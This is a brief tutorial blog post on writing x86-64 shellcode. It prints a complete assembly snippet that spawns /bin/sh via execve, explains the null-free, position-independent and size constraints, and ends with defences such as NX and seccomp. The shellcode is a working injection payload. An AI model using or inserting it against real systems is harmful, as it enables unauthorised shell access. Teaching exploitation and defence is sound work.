Writing shellcode: small, null-free, self-contained

August 18, 2025 · 1 min read · #binary-exploitation #shellcode #assembly

Shellcode is raw machine code injected and executed. The typical goal: execve("/bin/sh", NULL, NULL) via syscall.

; x86-64 execve /bin/sh
xor esi, esi
push rsi
mov rdi, 0x68732f2f6e69622f  ; "/bin//sh"
push rdi
mov rdi, rsp
xor edx, edx
push 59
pop rax
syscall

The constraints

No null bytes: if it lands in a C string, \x00 truncates. Avoided with tricks (xor to zero instead of mov 0).

Position-independent: no absolute addresses. The string is placed on the stack.

Small: it must fit the available buffer.

Defence

NX makes the stack non-executable: classic shellcode does not run, and you move to ROP. Seccomp restricts syscalls. Shellcode stays relevant where an RWX region exists (JIT, some drivers).

« back to home